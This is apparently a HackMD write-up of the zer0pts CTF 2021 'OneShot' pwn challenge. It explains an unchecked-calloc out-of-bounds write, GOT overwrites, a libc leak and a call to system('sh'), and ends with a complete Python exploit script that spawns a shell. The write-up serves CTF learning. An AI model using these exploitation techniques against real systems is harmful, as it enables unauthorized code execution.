Try   HackMD

OneShot - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

The target program is very simple.

int main() { int *arr = NULL, n = 0, i = 0; printf("n = "); scanf("%d", &n); if (n >= 0x100) exit(1); arr = calloc(n, sizeof(int)); printf("i = "); scanf("%d", &i); printf("arr[%d] = ", i); scanf("%d", &arr[i]); puts("Done!"); return 0; }

The vulnerability is obviously out-of-bound write at line 14.

Solution

GOT Overwrite

Basically, there's no use of overwriting data around the heap chunk allocated by calloc. So, we abuse the fact that the return value of calloc is not checked.
If we pass a negative value to calloc, it fails and returns NULL. However, this is not checked and eventually we can write to NULL + i*4. This is a very strong primitive because PIE and RELRO are disabled. Now we can overwrite GOT!

Gaining Infinite Loop

4-byte-write is not enough. To get infinite AAW, we set puts@got to the address of the main function. puts is used only at the end of the main function and thus we get AAW in an infinite loop.

Leak Libc

How to get the address of libc?
My solution is overwrite calloc@got to printf@plt, then set n to the address where we want to leak. calloc(n) works as printf(n) and we get AAR.
There are two problems however.

The first problem is that the program exits when n is larger than 0x100.
In the graph view, it looks like this:

In the assembly, it looks like this:

So, if we overwrite the GOT of exit and make it something meaningless, we can move to the path for n <= 0xff. This way we can bypass the check of n.

The second problem is that we can write 4-byte every time. When we try to overwrite the address of calloc, the upper or lower 4 bytes are corrupted and crashes on the next calloc call.
Be aware that we don't actually call calloc. So, we can skip it by setting exit@got to the address after the calloc call. I used call rax gadget in order to skip calloc, because it can align RSP to avoid crash on movaps.

After leaking the libc address, just overwrite calloc with the address of system and execute /bin/sh.

Exploit

from ptrlib import * elf = ELF("../distfiles/chall") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("../distfiles/chall") libc = ELF("../distfiles/libc.so.6") sock = Socket("localhost", 9004) addr_sh = elf.section('.bss') + 0x100 addr_main = elf.symbol('main') addr_skip = 0x4007a8 rop_ret = 0x004005ce rop_call_rax = 0x004005c8 """ Step 1) Get stable write primitive """ # make infinite loop sock.sendlineafter("n = ", "-1") sock.sendlineafter("i = ", str(elf.got('puts') // 4)) sock.sendlineafter("= ", str(addr_main)) """ Step 2) Leak libc address and prepare "sh" """ # skip exit and calloc sock.sendlineafter("n = ", "-1") sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_call_rax)) # align rsp # overwrite calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('calloc') // 4)) sock.sendlineafter("= ", str(elf.plt('printf'))) sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4)) sock.sendlineafter("= ", str(0)) # skip exit and call calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_ret)) # skip exit # leak libc address sock.sendlineafter("n = ", str(elf.got('printf'))) libc_base = u64(sock.recv(6)) - libc.symbol("printf") logger.info("libc = " + hex(libc_base)) sock.sendlineafter("i = ", str(addr_sh // 4)) sock.sendlineafter("= ", str(u32('sh\0\0'))) """ Step 3) Call system("sh") """ # skip exit and calloc sock.sendlineafter("n = ", str(elf.section('.bss') + 0x400)) # valid pointer sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_call_rax)) # align rsp # overwrite calloc addr_system = libc_base + libc.symbol("system") sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('calloc') // 4)) sock.sendlineafter("= ", str(addr_system & 0xffffffff)) sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4)) sock.sendlineafter("= ", str(addr_system >> 32)) # skip exit and call calloc sock.sendlineafter("n = ", str(addr_skip)) sock.sendlineafter("i = ", str(elf.got('exit') // 4)) sock.sendlineafter("= ", str(rop_ret)) # skip exit # win! sock.sendlineafter("n = ", str(addr_sh + 6)) sock.interactive()